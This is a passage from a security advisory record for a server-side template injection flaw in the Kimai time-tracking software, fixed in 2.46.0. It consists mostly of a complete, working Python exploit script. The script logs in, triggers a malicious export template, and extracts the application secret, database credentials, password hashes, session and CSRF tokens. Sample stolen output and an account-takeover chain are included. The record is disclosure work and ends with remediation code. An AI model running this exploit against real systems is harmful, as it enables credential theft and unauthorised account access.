ssti-extract.pdf.twig\n[+] PDF generated successfully: 35356 bytes\n[+] PDF saved to: kimai_extracted_data.pdf\n\n============================================================\nRAW EXTRACTED DATA:\n============================================================\n===SSTI_EXTRACTION_START===\n\n1. ENVIRONMENT VARIABLES\nAPP_SECRET: change_this_to_something_unique\nDATABASE_URL: mysql://kimai:kimai@db:3306/kimai?charset=utf8mb4&serverVersion=8.0\nAPP_ENV: prod\n\n2. SESSION TOKEN (SERIALIZED)\nO:74:\"Symfony\\Component\\Security\\Core\\Authentication\\Token\\UsernamePasswordToken\":3:{...}\n\n3. CURRENT USER DETAILS\nusername: admin\nemail: admin@example.com\npassword_hash: $2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye\nroles: ROLE_SUPER_ADMIN, ROLE_USER\n\n4. ALL USER PASSWORD HASHES (FROM TIMESHEETS)\nadmin:$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye\nlowpriv:$2y$13$kgUXWI.PNtatDuOA6YV1.OWQ8DzWep1upVSs2dzrR8Wcw.HyA8E4a\n\n5. CSRF TOKENS\n_csrf/search: IJ42Y5X-YIoBApjE3fsMVVTzf8cBXsA5jvRRmthbi-4\n_csrf/datatable_update: 3RCV4maZUAbBg5XK9hICKWT7PyAK0yjzCz_HLtbBJ58\n\n===SSTI_EXTRACTION_END===\n\n============================================================\nCRITICAL FINDINGS SUMMARY:\n============================================================\n[!] APP_SECRET: change_this_to_something_unique\n[!] DATABASE_URL: mysql://kimai:kimai@db:3306/kimai?charset=utf8mb4&serverVersion=8.0\n[!] Password Hashes Found: 2 unique\n    admin:$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye...\n    lowpriv:$2y$13$kgUXWI.PNtatDuOA6YV1.OWQ8DzWep1upVSs2dzrR8Wcw.HyA8E4a...\n[!] Session Token: Present (serialized PHP object)\n[!] CSRF Tokens: 2 found\n\n[+] Exploitation successful!\n[+] Full output saved to: kimai_extracted_data.pdf\n```\n\n### Output Files\n\n| File | Description |\n|------|-------------|\n| `kimai_extracted_data.pdf` | PDF containing all extracted sensitive data |\n\n### Manual PDF Text Extraction\n\n```bash\n# Extract text from PDF\npdftotext kimai_extracted_data.pdf -\n\n# Save to file\npdftotext kimai_extracted_data.pdf extracted_secrets.txt\n\n# Search for specific secrets\npdftotext kimai_extracted_data.pdf - | grep -E \"(APP_SECRET|DATABASE_URL|\\\\\\$2y\\\\\\$)\"\n```\n\n### Error Handling\n\n| Error Message | Cause | Solution |\n|---------------|-------|----------|\n| `Cannot connect to <url>` | Target unreachable | Check URL and network |\n| `Authentication failed` | Wrong credentials | Verify username/password |\n| `Template not found` | Template not deployed | Deploy template first (Step 1) |\n| `Access denied` | Insufficient permissions | Use admin account with export perms |\n| `pdftotext not installed` | Missing tool | Run `apt install poppler-utils` |\n\n---\n\n\n\n## Complete Exploit Script (ssti_exploit.py)\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nKimai 2.45.0 - SSTI Information Disclosure Exploit\nExtracts: APP_SECRET, DATABASE_URL, Password Hashes, Session Tokens\n\nPrerequisites:\n1. Valid admin credentials\n2. Malicious template deployed at /opt/kimai/var/export/ssti-extract.pdf.twig\n\nUsage: python3 ssti_exploit.py <target_url> <username> <password>\nExample: python3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123!\n\nAuthor: Security Research\nDate: 2026-01-05\n\"\"\"\n\nimport requests\nimport re\nimport subprocess\nimport sys\nimport os\n\nclass KimaiSSTIExploit:\n    def __init__(self, target, username, password):\n        self.target = target.rstrip('/')\n        self.session = requests.Session()\n        self.username = username\n        self.password = password\n        \n    def login(self):\n        \"\"\"Authenticate to Kimai\"\"\"\n        print(f\"[*] Connecting to {self.target}\")\n        \n        try:\n            login_page = self.session.get(f\"{self.target}/en/login\", timeout=10)\n        except requests.exceptions.ConnectionError:\n            raise Exception(f\"Cannot connect to {self.target}\")\n        except requests.exceptions.Timeout:\n            raise Exception(f\"Connection timeout to {self.target}\")\n            \n        if login_page.status_code != 200:\n            raise Exception(f\"Cannot reach login page: HTTP {login_page.status_code}\")\n        \n        csrf_match = re.search(r'name=\"_csrf_token\"[^>]*value=\"([^\"]+)\"', login_page.text)\n        if not csrf_match:\n            raise Exception(\"CSRF token not found on login page\")\n        \n        csrf = csrf_match.group(1)\n        print(f\"[*] Authenticating as {self.username}\")\n        \n        login_resp = self.session.post(\n            f\"{self.target}/en/login_check\",\n            data={\n                \"_username\": self.username,\n                \"_password\": self.password,\n                \"_csrf_token\": csrf\n            },\n            allow_redirects=True,\n            timeout=10\n        )\n        \n        # Check for successful login\n        if \"logout\" not in login_resp.text.lower() and \"sign out\" not in login_resp.text.lower():\n            if \"invalid\" in login_resp.text.lower() or \"incorrect\" in login_resp.text.lower():\n                raise Exception(\"Invalid username or password\")\n            raise Exception(\"Authentication failed - check credentials\")\n        \n        print(f\"[+] Successfully authenticated as {self.username}\")\n        return True\n    \n    def trigger_ssti(self, template_name=\"ssti-extract.pdf.twig\"):\n        \"\"\"Trigger SSTI via export functionality\"\"\"\n        print(f\"[*] Triggering SSTI with template: {template_name}\")\n        \n        try:\n            export_resp = self.session.post(\n                f\"{self.target}/en/export/data\",\n                data={\n                    \"renderer\": template_name,\n                    \"state\": \"3\",       # All states\n                    \"billable\": \"0\",    # All billable states\n                    \"exported\": \"5\",    # All export states\n                    \"markAsExported\": \"0\",\n                },\n                timeout=60\n            )\n        except requests.exceptions.Timeout:\n            raise Exception(\"Export request timed out\")\n        \n        if export_resp.status_code == 404:\n            raise Exception(f\"Template '{template_name}' not found - deploy template first\")\n        \n        if export_resp.status_code == 403:\n            raise Exception(\"Access denied - user lacks export permissions\")\n            \n        if export_resp.status_code != 200:\n            raise Exception(f\"Export failed: HTTP {export_resp.status_code}\")\n        \n        if b'%PDF' not in export_resp.content[:10]:\n            if b'error' in export_resp.content.lower() or b'exception' in export_resp.content.lower():\n                raise Exception(\"Template rendering error - check template syntax\")\n            raise Exception(\"Invalid response - expected PDF output\")\n        \n        print(f\"[+] PDF generated successfully: {len(export_resp.content)} bytes\")\n        return export_resp.content\n    \n    def extract_text(self, pdf_content, output_path=\"/tmp/kimai_ssti_output.pdf\"):\n        \"\"\"Extract text from PDF using pdftotext\"\"\"\n        with open(output_path, \"wb\") as f:\n            f.write(pdf_content)\n        \n        try:\n            result = subprocess.run(\n                [\"pdftotext\", output_path, \"-\"],\n                capture_output=True,\n                text=True,\n                timeout=30\n            )\n            if result.returncode != 0:\n                print(f\"[-] pdftotext error: {result.stderr}\")\n                return None\n            return result.stdout\n        except FileNotFoundError:\n            print(\"[-] pdftotext not installed\")\n            print(\"    Install with: apt install poppler-utils\")\n            return None\n        except subprocess.TimeoutExpired:\n            print(\"[-] pdftotext timed out\")\n            return None\n\n    def parse_findings(self, text):\n        \"\"\"Parse and categorize extracted data\"\"\"\n        findings = {\n            \"app_secret\": None,\n            \"database_url\": None,\n            \"password_hashes\": [],\n            \"session_token\": None,\n            \"csrf_tokens\": []\n        }\n        \n        lines = text.split('\\n')\n        for i, line in enumerate(lines):\n            line = line.strip()\n            \n            if \"APP_SECRET:\" in line:\n                findings[\"app_secret\"] = line.split(\"APP_SECRET:\")[-1].strip()\n            \n            if \"DATABASE_URL:\" in line or \"mysql://\" in line:\n                if \"mysql://\" in line:\n                    findings[\"database_url\"] = line.strip()\n                elif i + 1 < len(lines):\n                    findings[\"database_url\"] = lines[i + 1].strip()\n            \n            if \"$2y$\" in line:\n                findings[\"password_hashes\"].append(line)\n            \n            if \"UsernamePasswordToken\" in line:\n                findings[\"session_token\"] = \"Present (serialized PHP object)\"\n            \n            if \"_csrf\" in line.lower() or len(line) == 43:\n                if \":\" in line:\n                    findings[\"csrf_tokens\"].append(line)\n        \n        return findings\n\n\ndef print_banner():\n    print(\"\"\"\n╔═══════════════════════════════════════════════════════════════╗\n║     Kimai 2.45.0 - SSTI Information Disclosure Exploit        ║\n║                                                               ║\n║  Extracts: APP_SECRET, DATABASE_URL, Password Hashes          ║\n╚═══════════════════════════════════════════════════════════════╝\n\"\"\")\n\n\ndef main():\n    print_banner()\n    \n    if len(sys.argv) < 4:\n        print(\"Usage: python3 ssti_exploit.py <target_url> <username> <password> [template_name]\")\n        print()\n        print(\"Arguments:\")\n        print(\"  target_url    - Kimai instance URL (e.g., http://localhost:8001)\")\n        print(\"  username      - Valid admin username\")\n        print(\"  password      - User password\")\n        print(\"  template_name - Optional: custom template name (default: ssti-extract.pdf.twig)\")\n        print()\n        print(\"Example:\")\n        print(\"  python3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123!\")\n        print()\n        print(\"Prerequisites:\")\n        print(\"  1. Deploy malicious template to /opt/kimai/var/export/ssti-extract.pdf.twig\")\n        print(\"  2. User must have export permissions (ROLE_ADMIN or higher)\")\n        sys.exit(1)\n    \n    target = sys.argv[1]\n    username = sys.argv[2]\n    password = sys.argv[3]\n    template = sys.argv[4] if len(sys.argv) > 4 else \"ssti-extract.pdf.twig\"\n    \n    exploit = KimaiSSTIExploit(target, username, password)\n    \n    try:\n        # Step 1: Authenticate\n        exploit.login()\n        \n        # Step 2: Trigger SSTI\n        pdf_content = exploit.trigger_ssti(template)\n        \n        # Step 3: Save PDF\n        output_file = \"kimai_extracted_data.pdf\"\n        with open(output_file, \"wb\") as f:\n            f.write(pdf_content)\n        print(f\"[+] PDF saved to: {output_file}\")\n        \n        # Step 4: Extract and display text\n        text = exploit.extract_text(pdf_content)\n        if text:\n            print()\n            print(\"=\"*60)\n            print(\"RAW EXTRACTED DATA:\")\n            print(\"=\"*60)\n            print(text[:2000])\n            if len(text) > 2000:\n                print(f\"\\n... [{len(text) - 2000} more characters]\")\n            \n            # Parse findings\n            findings = exploit.parse_findings(text)\n            \n            print()\n            print(\"=\"*60)\n            print(\"CRITICAL FINDINGS SUMMARY:\")\n            print(\"=\"*60)\n            \n            if findings[\"app_secret\"]:\n                print(f\"[!] APP_SECRET: {findings['app_secret']}\")\n            \n            if findings[\"database_url\"]:\n                print(f\"[!] DATABASE_URL: {findings['database_url']}\")\n            \n            if findings[\"password_hashes\"]:\n                unique_hashes = list(set(findings[\"password_hashes\"]))\n                print(f\"[!] Password Hashes Found: {len(unique_hashes)} unique\")\n                for h in unique_hashes[:5]:\n                    print(f\"    {h[:80]}...\")\n                if len(unique_hashes) > 5:\n                    print(f\"    ... and {len(unique_hashes) - 5} more\")\n            \n            if findings[\"session_token\"]:\n                print(f\"[!] Session Token: {findings['session_token']}\")\n            \n            if findings[\"csrf_tokens\"]:\n                print(f\"[!] CSRF Tokens: {len(findings['csrf_tokens'])} found\")\n        \n        print()\n        print(\"[+] Exploitation successful!\")\n        print(f\"[+] Full output saved to: {output_file}\")\n        return 0\n        \n    except KeyboardInterrupt:\n        print(\"\\n[-] Interrupted by user\")\n        return 130\n    except Exception as e:\n        print(f\"[-] Exploitation failed: {e}\")\n        return 1\n\n\nif __name__ == \"__main__\":\n    sys.exit(main())\n```\n\n---\n\n## Impact Analysis\n\n| Extracted Data | Security Impact |\n|---------------|-----------------|\n| `APP_SECRET` | Can forge Symfony login links to access ANY user account |\n| `DATABASE_URL` | Direct database connection credentials exposed |\n| Password Hashes | Offline password cracking possible (bcrypt) |\n| Session Tokens | Session structure analysis, potential replay attacks |\n| CSRF Tokens | Bypass CSRF protection for subsequent attacks |\n\n### Attack Chain Example\n\n1. Exploit SSTI → Extract `APP_SECRET`\n2. Use `APP_SECRET` to forge login link for target user\n3. Access target user's account without knowing their password\n\n---\n\n## Remediation\n\n### Immediate Fix\n\nReplace `DefaultPolicy` with `InvoicePolicy` in `ExportPolicy`:\n\n```php\n// src/Twig/SecurityPolicy/ExportPolicy.php\n// Change:\n$this->policy->addPolicy(new DefaultPolicy());\n\n// To:\n$this->policy->addPolicy(new InvoicePolicy());\n```\n\n### Additional Hardening\n\n1. **Block environment access in templates:**\n   ```php\n   public function checkMethodAllowed($obj, $method): void\n   {\n       if ($obj instanceof Request && $method === 'getServer') {\n           throw new SecurityError('Server access not allowed');\n       }\n   }\n   ```\n\n2. **Block session access in templates:**\n   ```php\n   if ($obj instanceof Session) {\n       throw new SecurityError('Session access not allowed');\n   }\n   ```\n\n3. **Restrict User object property access:**\n   ```php\n   if ($obj instanceof User && $method === 'getPassword') {\n       throw new SecurityError('Password access not allowed');\n   }\n   ```\n\n\n---\n\nReported by: Mahammad Huseynkhanli",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "kimai/kimai"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.46.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/kimai/kimai/security/advisories/GHSA-jg2j-2w24-54cg"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-23626"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/kimai/kimai/pull/5757"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/kimai/kimai/commit/6a86afb5fd79f6c1825060b87c09bd1909c2e86f"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/kimai/kimai"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/kimai/kimai/releases/tag/2.46.0"
  }, {
    "type" : "WEB",
    "url" : "https://twig.symfony.com/doc/3.x/api.html#sandbox-extension"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1336" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-01-20T17:07:13Z",
    "nvd_published_at" : "2026-01-18T23:15:48Z"
  }
}